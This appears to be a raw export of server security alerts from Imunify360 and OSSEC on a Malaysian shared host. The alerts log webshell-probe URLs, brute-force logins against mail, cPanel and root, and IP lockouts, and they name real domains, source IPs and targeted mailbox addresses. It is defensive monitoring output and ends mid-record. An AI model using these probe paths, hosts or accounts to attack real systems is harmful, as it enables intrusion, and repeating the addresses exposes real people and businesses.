domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/dosimeter.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.153.174.24
country_id: 298795
description:
Jan 16 09:15:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.153.174.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.216.88.58
country_id: 3469034
description:
Jan 16 09:16:28 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.216.88.58 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/languages/images/radiation.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.161.96.107
country_id: 6252001
description:
Jan 16 09:18:04 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.161.96.107 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.161.96.107
country_id: 6252001
description:
2026-01-16 09:18:06 dovecot_plain authenticator failed for H=c-73-161-96-107.hsd1.mi.comcast.net (erbessal) [73.161.96.107]:35478: 535 Incorrect authentication data (set_id=ptsawani@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-16 09:18:22 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:42160: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.27.233.182
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/lady/17/590/1746284 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-16 09:19:40 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:45526: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 09:20:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57822: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.211.160.36
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/translation/Command/XliffLintCommand.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/img/photos/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.6.121.246
country_id: 3469034
description:
Jan 16 09:22:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.6.121.246 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.6.121.246
country_id: 3469034
description:
2026-01-16 09:22:02 dovecot_login authenticator failed for H=([187.6.121.246]) [187.6.121.246]:43961: 535 Incorrect authentication data (set_id=wgoeqsscr@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.225.217.64
country_id: 3469034
description:
Jan 16 09:22:46 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.225.217.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/portfolio/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-16 09:23:30 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess9134142965/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.225.217.64
country_id: 3469034
description:
Jan 16 09:23:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.225.217.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.75.222.25
country_id: 3077311
description:
Jan 16 09:23:24 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.75.222.25 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/career.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-16 09:24:28 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:58944: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.65.118.172
country_id: 357994
description:
Jan 16 09:24:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.65.118.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.65.118.172
country_id: 357994
description:
2026-01-16 09:25:01 dovecot_plain authenticator failed for H=(relle) [41.65.118.172]:34836: 535 Incorrect authentication data (set_id=admin@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.104.244.248
country_id: 1814991
description:
2026-01-16 09:25:17 dovecot_login authenticator failed for H=(agije) [171.104.244.248]:53838: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.29.205
country_id: 798544
description:
Jan 16 09:26:06 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.29.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.85.63.63
country_id: 3469034
description:
Jan 16 09:26:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.85.63.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 09:26:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 206.168.201.150
country_id: 1168579
description:
[2026-01-16 09:27:50 +0800] info [cpaneld] 206.168.201.150 - feliogroupcommy "GET /login/?login_only=1&user=feliogroupcommy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user feliogroupcommy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.84.88.241
country_id: 3686110
description:
[2026-01-16 09:27:36 +0800] info [cpaneld] 186.84.88.241 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.214.9.98
country_id: 6252001
description:
[2026-01-16 09:27:45 +0800] info [whostmgrd] 24.214.9.98 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.189.96.151
country_id: 3895114
description:
[2026-01-16 09:27:57 +0800] info [cpaneld] 186.189.96.151 - feliogro "GET /login/?login_only=1&user=feliogro&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user feliogro (has_cpuser_file failed)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.41.75
country_id: 953987
description:
Jan 16 09:27:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.41.75 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 125.133.0.196
country_id: 1835841
description:
[2026-01-16 09:27:59 +0800] info [cpaneld] 125.133.0.196 - feliogr "GET /login/?login_only=1&user=feliogr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user feliogr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 49.228.111.160
country_id: 1605651
description:
[2026-01-16 09:28:05 +0800] info [cpaneld] 49.228.111.160 - felio "GET /login/?login_only=1&user=felio&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user felio (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.115.211.194
country_id: 2542007
description:
[2026-01-16 09:28:09 +0800] info [cpaneld] 196.115.211.194 - feli "GET /login/?login_only=1&user=feli&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user feli (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.21
country_id: 3175395
description:
Jan 16 09:28:20 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.201
country_id: 3175395
description:
Jan 16 09:29:54 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.201 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 167.94.146.52
country_id: 6252001
description:
2026-01-16  9:29:35 154631 [Warning] Aborted connection 154631 to db: 'unconnected' user: 'unauthenticated' host: '167.94.146.52' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.201
country_id: 3175395
description:
Jan 16 09:30:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.201 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 184.174.46.229
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:09-33.184.174.46.229||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.22.253.160
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/yaml/phpunit.xml.dist HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.185
country_id: 953987
description:
Jan 16 09:35:21 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.62.54
country_id: 953987
description:
Jan 16 09:35:22 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.62.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.168.241.57
country_id: 798544
description:
Jan 16 09:35:47 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.168.241.57 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-16 09:35:51 H=(localhost.localdomain) [78.153.140.207]:46510 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.168.241.57
country_id: 798544
description:
Jan 16 09:36:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.168.241.57 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.108.169.18
country_id: 272103
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cabe.com.my/oriental.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 09:36:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:60284: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.32.54
country_id: 953987
description:
Jan 16 09:42:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.32.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.242
country_id: 3175395
description:
Jan 16 09:42:57 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.164.193.182
country_id: 1814991
description:
Jan 16 09:43:18 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.164.193.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.164.193.182
country_id: 1814991
description:
2026-01-16 09:43:20 dovecot_login authenticator failed for H=([123.164.193.182]) [123.164.193.182]:55749: 535 Incorrect authentication data (set_id=sales@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.37.35.14
country_id: 3469034
description:
Jan 16 09:44:08 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.37.35.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.198.73.152
country_id: 1814991
description:
Jan 16 09:46:29 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.198.73.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.143.17.37
country_id: 1814991
description:
2026-01-16 09:46:39 dovecot_login authenticator failed for H=(Tbhn0mf) [36.143.17.37]:15432: 535 Incorrect authentication data (set_id=png-sales)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.234.202.52
country_id: 953987
description:
Jan 16 09:46:04 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.234.202.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.154.106.27
country_id: 6290252
description:
Jan 16 09:46:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.154.106.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.143.17.37
country_id: 1814991
description:
Jan 16 09:46:37 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.143.17.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.6.132
country_id: 2395170
description:
Jan 16 09:46:38 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.6.132 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.84.113.5
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:09-46.91.84.113.5||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.14.131.67
country_id: 1814991
description:
2026-01-16 09:46:05 dovecot_login authenticator failed for H=(vxouq) [113.14.131.67]:63599: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.198.73.152
country_id: 1814991
description:
2026-01-16 09:46:31 dovecot_login authenticator failed for H=(Jtcxs3ZGO) [183.198.73.152]:4685: 535 Incorrect authentication data (set_id=png-sales)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.42.14
country_id: 2395170
description:
Jan 16 09:47:47 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.42.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.234.132.155
country_id: 6290252
description:
Jan 16 09:46:57 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.234.132.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.51
country_id: 3469034
description:
Jan 16 09:48:11 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.54.18.18
country_id: 2623032
description:
Jan 16 09:48:49 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.54.18.18 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 211.25.18.142
country_id: 1733045
description:
[2026-01-16 09:47:59 +0800] info [webmaild] 211.25.18.142 - safuddin@ajplantations.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.42.14
country_id: 2395170
description:
Jan 16 09:48:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.42.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 09:48:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57870: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.77
country_id: 3175395
description:
Jan 16 09:49:44 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.58
country_id: 798544
description:
Jan 16 09:49:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.77
country_id: 3175395
description:
Jan 16 09:49:57 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.171.160
country_id: 3469034
description:
Jan 16 09:50:39 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.171.160 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 09:51:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.200.52.169
country_id: 690791
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/app/Http/Requests/Admin/UpdateTaskmanagerRequest.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.2.61.207
country_id: 1269750
description:
2026-01-16 09:54:02 dovecot_plain authenticator failed for H=(tnxqlapxqotbvqaus8ca5699ewuix9) [61.2.61.207]:33709: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 09:55:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.5.21.121
country_id: 3865483
description:
Jan 16 09:56:10 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.5.21.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.71.89.48
country_id: 3469034
description:
Jan 16 09:56:13 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.71.89.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.106.110
country_id: 3469034
description:
Jan 16 09:56:37 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.106.110 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.60.73.100
country_id: 3895114
description:
[2026-01-16 10:00:29 +0800] info [cpaneld] 179.60.73.100 - stealth "GET /login/?login_only=1&user=stealth&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user stealth (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 125.212.159.218
country_id: 1562822
description:
[2026-01-16 10:00:42 +0800] info [cpaneld] 125.212.159.218 - ste "GET /login/?login_only=1&user=ste&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ste (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.128.163.107
country_id: 285570
description:
[2026-01-16 10:00:04 +0800] info [cpaneld] 94.128.163.107 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/product.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-16 10:02:21 H=([178.16.53.2]) [178.16.53.2]:55641 F=<kehk@kek.com.hk> rejected RCPT <info@pspoly.com.my>: SPF: 178.16.53.2 is not allowed to send mail from kek.com.hk


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.76.140.112
country_id: 732800
description:
Jan 16 10:02:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.76.140.112 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.252.95.80
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=299091 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.58.206.1
country_id: 3439705
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/address/425/599183 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/demos/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/demos/img/new-development.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 10:04:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:60538: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.0.160
country_id: 690791
description:
Jan 16 10:04:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.0.160 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.82.52.52
country_id: 3469034
description:
Jan 16 10:04:17 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.82.52.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.230
country_id: 3469034
description:
Jan 16 10:04:37 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
